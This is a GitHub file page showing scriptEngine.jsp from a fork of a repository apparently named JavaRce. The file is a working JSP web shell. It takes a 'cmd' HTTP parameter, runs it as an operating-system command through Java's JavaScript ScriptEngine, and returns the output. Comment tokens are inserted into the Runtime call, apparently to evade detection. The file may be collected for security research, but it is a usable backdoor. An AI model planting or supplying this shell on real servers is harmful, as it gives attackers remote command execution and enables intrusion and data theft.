forked from Whoopsunix/JavaRce
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscriptEngine.jsp
More file actions
30 lines (26 loc) · 1012 Bytes
/
scriptEngine.jsp
File metadata and controls
30 lines (26 loc) · 1012 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="javax.script.ScriptEngineManager" %>
<%@ page import="javax.script.ScriptEngine" %>
<%!
public static InputStream exec(String cmd) throws Exception {
InputStream inputStream = null;
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("js");
engine.eval("var runtime = java.lang./**/Runtime./**/getRuntime(); " +
"var process = runtime.exec(\"" + cmd + "\"); " +
"var inputStream = process.getInputStream(); ");
// 获取对象
inputStream = (InputStream) engine.eval("inputStream;");
return inputStream;
}
public static String scanner(InputStream inputStream) {
return new Scanner(inputStream).useDelimiter("\\A").next();
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
out.println(scanner(exec(cmd)));
}
%>